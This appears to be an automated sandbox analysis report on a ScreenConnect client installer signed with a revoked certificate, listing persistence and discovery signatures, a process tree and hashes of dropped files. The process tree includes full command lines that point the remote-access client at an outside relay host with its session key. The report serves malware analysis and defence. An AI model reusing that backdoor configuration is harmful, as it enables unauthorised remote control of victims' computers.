Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 18:13

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.8MB
  • Sample260809-wt3a3awwft
  • SHA256 33f2000ccc9871114e277bebf7a71c52a899111bcef626c35b2d8796b0a07c3d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2236
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2388
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 965D9B29D0415E421025E1A40A64C0DF C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3372
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI2D6F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240725656 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:852
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3952
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2881942D38578F9A6DDA03550084D07C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:784
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 70A6AA0F54F59DA7F68B863CD936F90A E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2464
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5732
    • C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=alumnahydrate.com&p=8041&s=a002efb5-c561-43ba-a0b2-d42144dfd404&k=BgIAAACkAABSU0ExAAgAAAEAAQB1RGozwmjyc6SwC3RqCt7HracM7cwnXmBg2q6d4yNrd8Z%2bO4q5kls0XOF9lKa4VRfUndvD%2bwga%2fQ81BRqYePE4dydKWKEtYlAaCTi4ZjSNbAzFSmx7ES3Uk%2ffoy77rX47w8z3sRw8Ji1FKlggMP4v%2bSMJj7996LOSNU3hE5jfrw9%2fJ5sQRm8z%2bPdMCc8tC4T8sBbj3YX0SZS2StMqdTegarvItL0VS500YCSJrbjHlxQ8%2fYvy9sYDeIGf176tRx%2frB7s108i%2fZjBikIWddvhN71E2RBEQyCaeyHBfbhWfTffAF3L48Q5IEfDlCxPD1pQM8UXRoh%2baoFaFcL7c1Teiw&c=ONGOD&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4808
      • C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsClient.exe" "RunRole" "6e934b37-3caf-4826-828e-002d2e39d871" "User"
        2⤵
        • Executes dropped EXE
        PID:3632
    • C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=alumnahydrate.com&p=8041&s=a002efb5-c561-43ba-a0b2-d42144dfd404&k=BgIAAACkAABSU0ExAAgAAAEAAQB1RGozwmjyc6SwC3RqCt7HracM7cwnXmBg2q6d4yNrd8ZbO4q5kls0XOF9lKa4VRfUndvDbwgafQ81BRqYePE4dydKWKEtYlAaCTi4ZjSNbAzFSmx7ES3Ukffoy77rX47w8z3sRw8Ji1FKlggMP4vbSMJj7996LOSNU3hE5jfrw9fJ5sQRm8zbPdMCc8tC4T8sBbj3YX0SZS2StMqdTegarvItL0VS500YCSJrbjHlxQ8fYvy9sYDeIGf176tRxfrB7s108ifZjBikIWddvhN71E2RBEQyCaeyHBfbhWfTffAF3L48Q5IEfDlCxPD1pQM8UXRohbaoFaFcL7c1Teiw&c=ONGOD&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1492
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1492 -s 1312
        2⤵
        • Program crash
        PID:4684
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1492 -ip 1492
      1⤵
        PID:3536

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e598e3d.rbs

            • Path C:\Config.Msi\e598e3d.rbs
            • Size 214KB
            • SHA256 508f4c7718660c7ffe5e11251290681343a4dc1de5f216a5e036cad4bd926e08
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\Client.Override.en-US.resources
            • Size 227B
            • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\Client.Override.resources
            • Size 8KB
            • SHA256 4d0bd32688d162ab57cc30e4027db743a3a909ced66b02cfc9afb8662bfc7bd4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\Client.en-US.resources
            • Size 49KB
            • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.ClientService.dll
            • Size 67KB
            • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\app.config
            • Size 1KB
            • SHA256 10f0370524144b7c8ad9f66d235231519373df6ff543d853a09bec01e0ced083
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\system.config
            • Size 945B
            • SHA256 66157e789eeea5a8b82c310886ba5e253080c789a962fd69603a72b0a36a1012
            • MD5 SHA1 SHA512 TLSH

            MSI2D6F.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2D6F.tmp
            • Size 1.0MB
            • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2D6F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2D6F.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2D6F.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2D6F.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI9523.tmp

            • Path C:\Windows\Installer\MSI9523.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e598e3c.msi

            • Path C:\Windows\Installer\e598e3c.msi
            • Size 12.8MB
            • SHA256 33f2000ccc9871114e277bebf7a71c52a899111bcef626c35b2d8796b0a07c3d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 14301e2b7ad4ea02a3b0f5b0138494c03329431dd7996480d78fa67964deb60d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {f6ff7f38-5eb1-4f60-81f0-50ce2216f6e7}_OnDiskSnapshotProp

            • Path \??\Volume{c61f8367-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{f6ff7f38-5eb1-4f60-81f0-50ce2216f6e7}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 bc78dea30373e3e8fc6709609421e27cc74e75508ae087144f231ef2c577c402
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/852-22-0x00000000051E0000-0x00000000051EA000-memory.dmp

            memory/852-26-0x0000000005280000-0x000000000530E000-memory.dmp

            memory/852-18-0x00000000051B0000-0x00000000051DE000-memory.dmp

            memory/852-31-0x0000000005C30000-0x00000000061EA000-memory.dmp

            memory/852-30-0x00000000054C0000-0x000000000566C000-memory.dmp

            memory/1492-76-0x0000000003190000-0x00000000031A8000-memory.dmp

            memory/3632-124-0x0000000001160000-0x0000000001196000-memory.dmp

            memory/3632-123-0x0000000000830000-0x00000000008C8000-memory.dmp

            memory/3632-125-0x000000001B820000-0x000000001B8AE000-memory.dmp

            memory/3632-126-0x000000001BA60000-0x000000001BC0C000-memory.dmp

            memory/3632-127-0x000000001C9C0000-0x000000001CB48000-memory.dmp

            memory/3632-128-0x0000000001140000-0x0000000001158000-memory.dmp

            memory/3632-129-0x0000000002980000-0x0000000002998000-memory.dmp

            memory/4808-110-0x0000000003C10000-0x0000000003C46000-memory.dmp

            memory/4808-115-0x00000000041A0000-0x0000000004275000-memory.dmp

            memory/4808-106-0x0000000003BC0000-0x0000000003C10000-memory.dmp

            memory/4808-113-0x0000000003F10000-0x0000000003F51000-memory.dmp

            memory/4808-111-0x0000000003FB0000-0x0000000004042000-memory.dmp